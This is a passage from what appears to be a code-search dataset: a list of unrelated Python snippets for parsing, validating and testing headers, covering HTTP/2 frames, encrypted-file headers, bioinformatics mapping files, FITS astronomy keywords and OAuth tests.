decrypted_header[:4])[0]\n # file_version = struct.unpack(\"!I\", decrypted_header[4:8])[0]\n # key_stretches = struct.unpack(\"!I\", decrypted_header[8:12])[0]\n magic_number2 = struct.unpack(\"!I\", decrypted_header[12:])[0]\n if (self.__magic_number != magic_number1 or\n self.__magic_number != magic_number2):\n raise DecryptionError()\n if cleartext_header != decrypted_header:\n raise FileCorruptionError()","def assert_header(self):\r\n\r\n if self.length > self.owner.settings[SETTINGS_MAX_FRAME_SIZE]:\r\n raise netius.ParserError(\r\n \"Headers are greater than SETTINGS_MAX_FRAME_SIZE\",\r\n stream = self.stream,\r\n error_code = FRAME_SIZE_ERROR\r\n )\r\n if self.last_type in (HEADERS, CONTINUATION) and not\\\r\n self.last_end_headers and not self.last_stream == self.stream:\r\n raise netius.ParserError(\r\n \"Cannot send frame from a different stream in middle of headers\",\r\n error_code = PROTOCOL_ERROR\r\n )","def is_header(line):\n return line[0] == '>'","def test_check_header_missing_fields(self):\r\n\r\n # Default header, should not generate any errors/warnings\r\n header = ['AAA', 'XXX', 'YYY',\r\n 'ZZZ']\r\n errors = []\r\n warnings = []\r\n\r\n errors, warnings = check_header(header,\r\n errors,\r\n warnings,\r\n sample_id_ix=0,\r\n desc_ix=3,\r\n bc_ix=1,\r\n linker_primer_ix=2,\r\n added_demultiplex_field=None)\r\n\r\n expected_errors = [\r\n 'Found header field AAA, expected field SampleID\\t0,0',\r\n 'Found header field XXX, expected field BarcodeSequence\\t0,1',\r\n 'Found header field YYY, expected field LinkerPrimerSequence\\t0,2',\r\n 'Found header field ZZZ, last field should be Description\\t0,3']\r\n expected_warnings = []\r\n\r\n self.assertEqual(errors, expected_errors)\r\n self.assertEqual(warnings, expected_warnings)","def check_header(line):\n if line[:7] == '###### ':\n line = '<h6>' + line[7:] + '</h6>'\n elif line[:6] == '##### ':\n line = '<h5>' + line[6:] + '</h5>'\n elif line[:5] == '#### ':\n line = '<h4>' + line[5:] + '</h4>'\n elif line[:4] == '### ':\n line = '<h3>' + line[4:] + '</h3>'\n elif line[:3] == '## ':\n line = '<h2>' + line[3:] + '</h2>'\n elif line[:2] == '# ':\n line = '<h1>' + line[2:] + '</h1>'\n else:\n return False, ''\n\n return True, line","def test_headers(self):\n msg = self.shortDescription()\n self.assertTrue(False, msg=msg)\n pass","def verifyHeader(self, headers):\n for head in headers:\n if(hex(head[0]) == VID and hex(head[1]) == PID):\n return True\n return False","def parse_header(self):","def test_parse_header(self):\n data = parse_header(self.header)\n self.assertEqual(data.get(\"application\"), \"my Grandma\")\n self.assertEqual(data.get(\"version\"), \"has\")\n self.assertEqual(data.get(\"reference\"), \"furry\")\n self.assertEqual(data.get(\"query_letters\"), 27)\n self.assertEqual(data.get(\"database\"), \"Cats\")","def test_headers(self):\n self.assert_expected_token_value()","def validate_header_keyword(self):\n\n valid = False\n if self.headers[0].upper() == \"NAME\":\n valid = True\n if self.headers[0] != \"NAME\":\n msg = f'File keyword \"NAME\" provided as {self.headers[0]}'\n self.store_validation_issue(\"warn\", msg, \"format:cap:name\")\n else:\n msg = \"Malformed file header row, missing NAME keyword. (Case Sensitive)\"\n self.store_validation_issue(\"error\", msg, \"format:cap:name\")\n return valid","def test_check_header_bad_chars(self):\r\n\r\n # Default header, should not generate any errors/warnings\r\n header = [\r\n 'SampleID', 'BarcodeSequence', 'LinkerPrimerSequence', 'AAA.^^2',\r\n 'Description']\r\n errors = []\r\n warnings = []\r\n\r\n errors, warnings = check_header(header,\r\n errors,\r\n warnings,\r\n sample_id_ix=0,\r\n desc_ix=4,\r\n bc_ix=1,\r\n linker_primer_ix=2,\r\n added_demultiplex_field=None)\r\n\r\n expected_errors = []\r\n expected_warnings = [\r\n 'Found invalid character in AAA.^^2 header field.\\t0,3']\r\n\r\n self.assertEqual(errors, expected_errors)\r\n self.assertEqual(warnings, expected_warnings)","def is_valid_header(headers: Dict[str, Any]) -> bool:\n for name, value in headers.items():\n if not utils.is_latin_1_encodable(value):\n return False\n if utils.has_invalid_characters(name, value):\n return False\n return True","def is_header_content(response, key, value):\n try:\n if response.headers[key].lower() == value:\n return True\n else:\n return False\n except:\n return False","def check_headers(self, headers):\n h = headers.values()[0]\n\n if 'DT' in PAR:\n if h.dt != PAR.DT:\n h.dt = PAR.DT\n\n if 'NT' in PAR:\n if h.nt != PAR.NT:\n print 'Warning: h.nt != PAR.NT'\n\n if 'NREC' in PAR:\n if h.nr != PAR.NREC:\n print 'Warning: h.nr != PAR.NREC'\n\n return h","def check_header(header,\r\n errors,\r\n warnings,\r\n sample_id_ix,\r\n desc_ix,\r\n bc_ix,\r\n linker_primer_ix,\r\n added_demultiplex_field=None):\r\n\r\n # Check for duplicates, append to errors if found\r\n errors = check_header_dups(header, errors)\r\n\r\n # Check for valid characters\r\n warnings = check_header_chars(header, warnings)\r\n\r\n # Check for required header fields\r\n errors = check_header_required_fields(header, errors, sample_id_ix,\r\n desc_ix, bc_ix, linker_primer_ix, added_demultiplex_field)\r\n\r\n return errors, warnings","def _validate_header(self, header: packets.PacketHeader):\n if header.set_id != self._set_id:\n raise ValueError(\"Packet set_id '{}', does not match RecoverySet id '{}'\"\n .format(header.set_id.hex(), self._set_id.hex()))","def _validate_header(self):\n if 'X-Amz-Sns-Topic-Arn' in self._headers:\n if self._topic_arn != self._headers.get(\n 'X-Amz-Sns-Topic-Arn'):\n self.error = 'Invalid TopicArn.'\n raise ValueError('Invalid TopicArn')\n else:\n self.error = 'Invalid TopicArn'\n raise ValueError('Invalid TopicArn')\n\n return True","def check_header_match_180_or_later(header1, header2):\r\n header1 = header1.split(':')\r\n header2 = header2.split(':')\r\n for e1, e2 in zip(header1, header2):\r\n if e1.split(' ')[0] != e2.split(' ')[0]:\r\n return False\r\n\r\n return True","def test_header(self):\n\n self.assertIsInstance(self.image.header, Header)","def validate_unique_header(self):\n valid = False\n unique_headers = set(self.headers)\n if len(unique_headers) == len(self.headers):\n valid = True\n else:\n seen_headers = set()\n duplicate_headers = set()\n for x in self.headers:\n if x in seen_headers or seen_headers.add(x):\n duplicate_headers.add(x)\n msg = f\"Duplicated header names are not allowed: {duplicate_headers}\"\n log_exception(Annotations.dev_logger, Annotations.user_logger, msg)\n self.store_validation_issue(\"error\", msg, \"format:cap:unique\")\n valid = False\n if any(\"Unnamed\" in s for s in list(unique_headers)):\n msg = \"Headers cannot contain empty values\"\n log_exception(Annotations.dev_logger, Annotations.user_logger, msg)\n self.store_validation_issue(\"error\", msg, \"format:cap:no-empty\")\n valid = False\n return valid","def correct_header_fields():\n test_str = \"c0rrect_!!heAd3R fi3ld5__%%!! @\\n\"\n server = start_server()\n client = start_client()\n\n write_to(client, test_str)\n segments = read_segments_from(client)\n if not segments:\n return False\n teardown()\n\n # Start reference solution to get answers.\n ref_server = start_server(port=REF_PORT, reference=True)\n ref_client = start_client(server_port=REF_PORT, reference=True)\n\n # Get reference checksum.\n write_to(ref_client, test_str)\n ref_segment = read_segments_from(ref_client)[0]\n\n # Check the first sent segment. Should have all the same header fields as\n # the reference.\n segment = segments[0]\n\n # Check the flags first. Maybe decided to ACK all segments.\n if not segment.has_same_flags(ref_segment):\n if \"ACK\" in segment.flags:\n segment.flags.remove(\"ACK\")\n\n return (\n segment.seqno == ref_segment.seqno and\n (segment.ackno == 0 or segment.ackno == ref_segment.ackno) and\n segment.length == ref_segment.length and\n segment.has_same_flags(ref_segment) and\n segment.window == ref_segment.window and\n (segment.checksum == ref_segment.checksum or\n int(segment.checksum, 16) == segment.c_repr.cksum)\n )","def check_headerRow(self, expected, found):\n\n # spreadsheets must have either a barcode field or a object ID field, but both are not required\n header1 = 'barcode'\n header2 = ('object identifier\\n(edit heading to specify type' +\n ' - e.g. barcode)')\n expected = self.remove_annoying(header1, header2, expected, found)\n\n missing = []\n\n for header in expected:\n if header not in found:\n missing.append(header)\n\n if missing:\n self.raise_excelerror(\"Missing required value- {0}.\"\n .format(missing))\n\n return True","def test_check_header_required_fields(self):\r\n\r\n # Default header, should not generate any errors/warnings\r\n header = [\r\n 'SampleID', 'BarcodeSequence', 'LinkerPrimerSequence', 'run_prefix',\r\n 'Description']\r\n errors = []\r\n\r\n errors = check_header_required_fields(header,\r\n errors,\r\n sample_id_ix=0,\r\n desc_ix=4,\r\n bc_ix=1,\r\n linker_primer_ix=2,\r\n added_demultiplex_field='run_prefix')\r\n\r\n expected_errors = []\r\n\r\n self.assertEqual(errors, expected_errors)\r\n\r\n # Should find all as errors if not named correctly\r\n header = ['AAA', 'BBB', 'CCC', 'DDD',\r\n 'EEE']\r\n errors = []\r\n\r\n errors = check_header_required_fields(header,\r\n errors,\r\n sample_id_ix=0,\r\n desc_ix=4,\r\n bc_ix=1,\r\n linker_primer_ix=2,\r\n added_demultiplex_field='run_prefix')\r\n\r\n expected_errors = [\r\n 'Found header field AAA, expected field SampleID\\t0,0',\r\n 'Found header field BBB, expected field BarcodeSequence\\t0,1',\r\n 'Found header field CCC, expected field LinkerPrimerSequence\\t0,2',\r\n 'Found header field EEE, last field should be Description\\t0,4',\r\n 'Missing added demultiplex field run_prefix\\t-1,-1']\r\n\r\n self.assertEqual(errors, expected_errors)","def _validate_header(self, header_row):\n\n self.logger.info(\"Validating header row.\")\n \n # assume value.\n is_valid = True\n\n # check if @header_row is perfect.\n required_keys = tuple(self.required_headers.keys())\n if sorted(header_row) == sorted(required_keys):\n self.logger.info(\"Header is valid.\")\n return is_valid\n else:\n self.logger.error(\"Header is invalid.\")\n is_valid = False\n\n # report on any missing header fields.\n missing_headers = [header for header in self.required_headers if header not in\n header_row]\n if len(missing_headers) != 0:\n self.logger.warning(\"Missing required fields: {}\".format(missing_headers))\n \n # report on any duplicate fields.\n duplicate_headers = [header for header in header_row if header_row.count(header) != 1]\n if len(duplicate_headers) != 0:\n self.logger.warning(\"Found duplicate fields: {}\".format(set(duplicate_headers)))\n\n # report on any extra fields.\n extra_headers = [header for header in header_row if header not in \n self.required_headers]\n if len(extra_headers) != 0:\n self.logger.warning(\"Found extra fields: {}\".format(extra_headers))\n \n return is_valid","def test_parse_header_complete(self):\n # try to process header with parameters etc in the XML\n data = parse_header(self.complete)\n self.assertEqual(data.get(\"database\"), \"Cats\")\n self.assertEqual(data.get(\"matrix\"), \"BLOSUM62\")","def test_is_fasta_header(self):\r\n\r\n is_fasta_header = False\r\n\r\n with open(full_file_name, \"r\") as in_file:\r\n for line in in_file:\r\n is_fasta_header = mfau.is_header_line(line)\r\n\r\n # only testing the first line\r\n break\r\n\r\n self.assertEqual(is_fasta_header, True)","def test_check_header_chars(self):\r\n\r\n # Default header, should not generate any errors/warnings\r\n header = [\r\n 'SampleID', 'BarcodeSequence', 'LinkerPrimerSequence', 'run_p-%efix',\r\n 'Description']\r\n warnings = []\r\n\r\n warnings = check_header_chars(header, warnings)\r\n\r\n expected_warnings = [\r\n 'Found invalid character in run_p-%efix header field.\\t0,3']\r\n\r\n self.assertEqual(warnings, expected_warnings)","def test_specific_headers_sent_with_request(self):\n req = self.httpbin.get_my_headers(dry_run=True)\n self.assertIn('All-Request-Headers', req.prepared_request.headers)\n request_data_headers = self.httpbin.client['get_my_headers']['headers']['All-Request-Headers']\n self.assertEqual(req.prepared_request.headers['All-Request-Headers'], request_data_headers)","def test_check_header_match_pre180(self):\r\n\r\n # match w illumina qual string\r\n self.assertTrue(check_header_match_pre180(\"@990:2:4:11272:5533#1/1\",\r\n \"@990:2:4:11272:5533#1/2\"))\r\n self.assertTrue(check_header_match_pre180(\"@990:2:4:11272:5533#1/1\",\r\n \"@990:2:4:11272:5533#1/3\"))\r\n # qual string differs (this is acceptable)\r\n self.assertTrue(check_header_match_pre180(\"@990:2:4:11272:5533#1/1\",\r\n \"@990:2:4:11272:5533#0/3\"))\r\n # match wo illumina qual string\r\n self.assertTrue(check_header_match_pre180(\"@990:2:4:11272:5533/1\",\r\n \"@990:2:4:11272:5533/2\"))\r\n self.assertTrue(check_header_match_pre180(\"@990:2:4:11272:5533/1\",\r\n \"@990:2:4:11272:5533/3\"))\r\n\r\n # mismatch w illumina qual string\r\n self.assertFalse(check_header_match_pre180(\"@990:2:4:11272:5533#1/1\",\r\n \"@990:2:4:11272:5532#1/2\"))\r\n self.assertFalse(check_header_match_pre180(\"@990:2:4:11272:5533#1/1\",\r\n \"@890:2:4:11272:5533#1/2\"))\r\n # mismatch wo illumina qual string\r\n self.assertFalse(check_header_match_pre180(\"@990:2:4:11272:5533/1\",\r\n \"@990:2:4:11272:5532/2\"))\r\n self.assertFalse(check_header_match_pre180(\"@990:2:4:11272:5533/1\",\r\n \"@890:2:4:11272:5533/2\"))","def has_header():\n header_content = (\"\\n\".join(CURRENT_BUFFER[:7])).lower()\n return sum(1 for keyword in KEYWORDS if header_content.find(keyword.lower()) != -1) >= 2","def check_headerEntries(self, expected, found):\n\n # spreadsheets must have either a barcode field or a object ID field, but both are not required\n header1 = ('original master', 'object', 'barcode')\n header2 = ('original master', 'object',\n 'object identifier\\n(edit heading to specify type ' +\n '- e.g. barcode)')\n expected = self.remove_annoying(header1, header2, expected, found)\n\n bad_entries = []\n\n for header in expected:\n if header not in found:\n bad_entries.append(header)\n\n if bad_entries:\n self.raise_excelerror(\"Incorrect header entry for {0}.\"\n .format(bad_entries))\n return True","def check_headers():\n report = {}\n for header_name, msg in request.headers.items():\n if header_name.upper().startswith('SAND-'):\n checker = sand.header.header_name_to_checker.get(\n header_name.lower())\n if checker:\n checker.check_syntax(msg.strip())\n report[header_name] = checker.errors\n else:\n report[header_name] = [('Header name not supported by this ' +\n 'version of conformance server')]\n result = \"Report for SAND headers conformance:\\n\"\n if report:\n for name, errors in report.items():\n if errors:\n result += '%s: FAILED\\n' % name\n for msg in errors:\n result += ' %s\\n' % msg\n else:\n result += '%s: PASSED\\n' % name\n else:\n result += 'No SAND header found!\\n'\n return result, 200, {'Content-Type': 'text/plain'}","def test_h2_header_ok(self):\n self.set_frang_config(frang_config=\"http_strict_host_checking true;\")\n client = self.get_client(\"deproxy-1\")\n client.start()\n client.parsing = False\n\n first_headers = [(\":authority\", \"localhost\"), (\":path\", \"/\")]\n second_headers = [(\":path\", \"/\"), (\"host\", \"localhost\")]\n third_headers = [(\":authority\", \"localhost\"), (\":path\", \"/\"), (\"host\", \"localhost\")]\n fourth_headers = [\n (\":authority\", \"tempesta-tech.com\"),\n (\":path\", \"/\"),\n (\"forwarded\", \"host=tempesta-tech.com\"),\n (\"forwarded\", \"for=tempesta.com\"),\n ]\n\n header_list = [\n first_headers,\n first_headers, # as byte\n second_headers,\n second_headers, # as byte\n third_headers,\n third_headers, # as byte\n fourth_headers,\n fourth_headers, # as byte\n ]\n for header in header_list:\n head = [\n (\":scheme\", \"https\"),\n (\":method\", \"HEAD\"),\n ]\n head.extend(header)\n client.make_request(head)\n self.assertTrue(client.wait_for_response(1))\n\n self.check_response(client, status_code=\"200\", warning_msg=\"frang: \")","def test_authorization_header_not_present(self, get_key_secret):\r\n request = Request(self.environ)\r\n request.body = self.get_request_body()\r\n response = self.xmodule.grade_handler(request, '')\r\n real_response = self.get_response_values(response)\r\n expected_response = {\r\n 'action': None,\r\n 'code_major': 'failure',\r\n 'description': 'OAuth verification error: Malformed authorization header',\r\n 'messageIdentifier': self.DEFAULTS['messageIdentifier'],\r\n }\r\n\r\n self.assertEqual(response.status_code, 200)\r\n self.assertDictEqual(expected_response, real_response)","def test_authorization_header_not_present(self, _get_key_secret):\n request = Request(self.environ)\n request.body = self.get_request_body()\n response = self.xmodule.grade_handler(request, '')\n real_response = self.get_response_values(response)\n expected_response = {\n 'action': None,\n 'code_major': 'failure',\n 'description': 'OAuth verification error: Malformed authorization header',\n 'messageIdentifier': self.defaults['messageIdentifier'],\n }\n\n assert response.status_code == 200\n self.assertDictEqual(expected_response, real_response)","def hasProperField(dHeader,s):\n\tif not dHeader.get(s):\n\t\tshowUsage(dHeader)\n\t\traise '\\nneed proper %s input\\n' % s\n\treturn 1","def check_no_header_response(response: HTTPResponse) -> bool:\n return response.status_code == 422","def check_header_required_fields(header,\r\n errors,\r\n sample_id_ix,\r\n desc_ix,\r\n bc_ix,\r\n linker_primer_ix,\r\n added_demultiplex_field=None):\r\n\r\n header_checks = {\r\n sample_id_ix: \"SampleID\",\r\n desc_ix: \"Description\",\r\n bc_ix: \"BarcodeSequence\",\r\n linker_primer_ix: \"LinkerPrimerSequence\"\r\n }\r\n\r\n for curr_check in header_checks:\r\n if (header[curr_check] != header_checks[curr_check] and\r\n header_checks[curr_check] == \"Description\"):\r\n errors.append('Found header field %s, last field should be %s' %\r\n (header[curr_check], header_checks[curr_check]) +\r\n '\\t%d,%d' % (0, curr_check))\r\n elif (header[curr_check] != header_checks[curr_check] and\r\n header_checks[curr_check] != \"Description\"):\r\n errors.append('Found header field %s, expected field %s' %\r\n (header[curr_check], header_checks[curr_check]) +\r\n '\\t%d,%d' % (0, curr_check))\r\n\r\n if added_demultiplex_field:\r\n if added_demultiplex_field not in header:\r\n errors.append('Missing added demultiplex field %s\\t%d,%d' %\r\n (added_demultiplex_field, -1, -1))\r\n\r\n return errors","def check_header(filename: str, *, is_newly_created: bool = False) -> None:\n lines = get_header_lines(filename)\n check_header_present(filename, lines)\n is_py3_file = all(\"from __future__\" not in line for line in lines)\n if is_py3_file:\n lines = lines[:EXPECTED_NUM_PY3_LINES]\n copyright_line_index = 0\n expected_header = EXPECTED_HEADER_PY3\n else:\n copyright_line_index = 1\n expected_header = EXPECTED_HEADER_PY2\n check_copyright_year(\n filename, copyright_line=lines[copyright_line_index], is_newly_created=is_newly_created\n )\n check_matches_header(\n filename, lines, expected_header=expected_header, copyright_line_index=copyright_line_index\n )","def _parse_header(self):\n # read the first bytes from the file\n header = self._stream_handle.read(HEADER_BYTES)\n match = HEADER_MATCHER.match(header)\n if not match:\n raise SampleException(\"File header does not match the header regex\")\n\n # update the state to show we have read the header\n self._increment_state(HEADER_BYTES)","def test_check_header_dups(self):\r\n\r\n # Default header, should not generate any errors/warnings\r\n header = [\r\n 'SampleID', 'BarcodeSequence', 'LinkerPrimerSequence', 'run_prefix',\r\n 'Description']\r\n errors = []\r\n\r\n errors = check_header_dups(header, errors)\r\n\r\n expected_errors = []\r\n\r\n self.assertEqual(errors, expected_errors)\r\n\r\n # Should give errors with dups\r\n header = [\r\n 'SampleID', 'BarcodeSequence', 'LinkerPrimerSequence', 'run_prefix', 'run_prefix',\r\n 'Description']\r\n errors = []\r\n\r\n errors = check_header_dups(header, errors)\r\n\r\n expected_errors = [\r\n 'run_prefix found in header 2 times. Header fields must be unique.\\t0,3',\r\n 'run_prefix found in header 2 times. Header fields must be unique.\\t0,4']\r\n\r\n self.assertEqual(errors, expected_errors)","def validate_against_header_count(self):\n valid = False\n len_headers = len(\n [header for header in self.headers if \"Unnamed\" not in header]\n )\n len_annot_type = len(\n [\n annot_type\n for annot_type in self.annot_types\n if \"Unnamed\" not in annot_type\n ]\n )\n if not len_headers == len_annot_type:\n msg = (\n f\"Header mismatch: {len_annot_type} TYPE declarations \"\n f\"for {len_headers} column headers\"\n )\n self.store_validation_issue(\"error\", msg, \"format:cap:count\")\n else:\n valid = True\n return valid","def _read_header(self, stream):\n return","def test_prepare_mac_header(self):\n self.assertEqual(prepare_mac_header(**self.mac_plain), self.auth_plain)\n self.assertEqual(prepare_mac_header(**self.mac_body), self.auth_body)\n self.assertEqual(prepare_mac_header(**self.mac_both), self.auth_both)","def verify_header (filename, htypes=None):\n\n # dictionary\n dict_head = {\n # raw header\n # commenting out SIMPLE, BSCALE and BZERO - basic keywords\n # that will be present in images but not in binary fits tables\n #'SIMPLE': {'htype':'raw', 'dtype':bool, 'DB':False, 'None_OK':True},\n #'BSCALE': {'htype':'raw', 'dtype':float, 'DB':False, 'None_OK':True},\n #'BZERO': {'htype':'raw', 'dtype':float, 'DB':False, 'None_OK':True},\n 'BITPIX': {'htype':'raw', 'dtype':int, 'DB':False, 'None_OK':True},\n 'NAXIS': {'htype':'raw', 'dtype':int, 'DB':False, 'None_OK':True},\n 'NAXIS1': {'htype':'raw', 'dtype':int, 'DB':False, 'None_OK':True},\n 'NAXIS2': {'htype':'raw', 'dtype':int, 'DB':False, 'None_OK':True},\n 'BUNIT': {'htype':'raw', 'dtype':str, 'DB':False, 'None_OK':True},\n #'CCD-AMP': {'htype':'raw', 'dtype':str, 'DB':False, 'None_OK':True},\n 'SET-TEMP': {'htype':'raw', 'dtype':float, 'DB':False, 'None_OK':True},\n 'CCD-TEMP': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'XBINNING': {'htype':'raw', 'dtype':int, 'DB':False, 'None_OK':True},\n 'YBINNING': {'htype':'raw', 'dtype':int, 'DB':False, 'None_OK':True},\n #'CCD-SET': {'htype':'raw', 'dtype':str, 'DB':False, 'None_OK':True},\n 'ALTITUDE': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'AZIMUTH': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'DOMEAZ': {'htype':'raw', 'dtype':float, 'DB':False, 'None_OK':True},\n 'RADESYS': {'htype':'raw', 'dtype':str, 'DB':False, 'None_OK':True},\n 'EPOCH': {'htype':'raw', 'dtype':float, 'DB':False, 'None_OK':True},\n 'RA': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':False},\n 'RA-REF': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\n #'RA-TEL': {'htype':'raw', 'dtype':float, 'DB':False, 'None_OK':True},\n 'DEC': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':False},\n 'DEC-REF': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\n #'DEC-TEL': {'htype':'raw', 'dtype':float, 'DB':False, 'None_OK':True},\n 'HA': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':False},\n 'FLIPSTAT': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\n 'EXPTIME': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':False},\n 'ISTRACKI': {'htype':'raw', 'dtype':bool, 'DB':False, 'None_OK':True},\n 'ACQSTART': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':False},\n 'ACQEND': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\n 'GPSSTART': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\n 'GPSEND': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\n 'GPS-SHUT': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'DATE-OBS': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':False},\n 'MJD-OBS': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':False},\n 'LST': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':False},\n 'UTC': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':False},\n 'TIMESYS': {'htype':'raw', 'dtype':str, 'DB':False, 'None_OK':True},\n 'ORIGIN': {'htype':'raw', 'dtype':str, 'DB':False, 'None_OK':True},\n 'MPC-CODE': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':False},\n 'TELESCOP': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':False},\n 'CL-BASE': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'RH-MAST': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'RH-DOME': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'RH-AIRCO': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'RH-PIER': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'PRESSURE': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'T-PIER': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'T-DOME': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'T-ROOF': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'T-AIRCO': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'T-MAST': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'T-STRUT': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'T-CRING': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'T-SPIDER': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'T-FWN': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'T-FWS': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'T-M2HOLD': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'T-GUICAM': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'T-M1': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'T-CRYWIN': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'T-CRYGET': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'T-CRYCP': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'PRES-CRY': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'WINDAVE': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'WINDGUST': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'WINDDIR': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'SITELAT': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'SITELONG': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'ELEVATIO': {'htype':'raw', 'dtype':int, 'DB':True, 'None_OK':True},\n #'WEATIME': {'htype':'raw', 'dtype':str, 'DB':False, 'None_OK':True},\n 'FILTER': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':False},\n #'FILTERID': {'htype':'raw', 'dtype':str, 'DB':False, 'None_OK':True},\n 'CCD-ID': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\n 'CONTROLL': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\n 'DETSPEED': {'htype':'raw', 'dtype':int, 'DB':True, 'None_OK':True},\n 'CCD-NW': {'htype':'raw', 'dtype':int, 'DB':False, 'None_OK':True},\n 'CCD-NH': {'htype':'raw', 'dtype':int, 'DB':False, 'None_OK':True},\n 'INSTRUME': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\n 'FOCUSPOS': {'htype':'raw', 'dtype':int, 'DB':True, 'None_OK':True},\n 'IMAGETYP': {'htype':'raw', 'dtype':str, 'DB':False, 'None_OK':True},\n 'OBJECT': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':False},\n 'AIRMASS': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':False},\n 'ORIGFILE': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':False},\n 'OBSERVER': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\n 'ABOTVER': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\n 'PROGNAME': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\n 'PROGID': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\n 'GUIDERST': {'htype':'raw', 'dtype':str, 'DB':True, 'None_OK':True},\n 'GUIDERFQ': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'TRAKTIME': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'ADCX': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n 'ADCY': {'htype':'raw', 'dtype':float, 'DB':True, 'None_OK':True},\n #\n # full header\n 'BB-V': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':False},\n 'BB-START': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':False},\n 'KW-V': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':False},\n 'LOG': {'htype':'full', 'dtype':str, 'DB':False, 'None_OK':True},\n 'LOG-IMA': {'htype':'full', 'dtype':str, 'DB':False, 'None_OK':True},\n 'N-INFNAN': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\n 'XTALK-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\n 'XTALK-F': {'htype':'full', 'dtype':str, 'DB':False, 'None_OK':True},\n 'NONLIN-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\n 'NONLIN-F': {'htype':'full', 'dtype':str, 'DB':False, 'None_OK':True},\n 'GAIN-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\n 'GAIN': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'GAIN1': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'GAIN16': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'OS-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\n 'BIASMEAN': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'BIASM1': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'BIASM16': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'RDNOISE': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'RDN1': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'RDN16': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'BIAS1A0': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'BIAS1A1': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'VFITOK1': 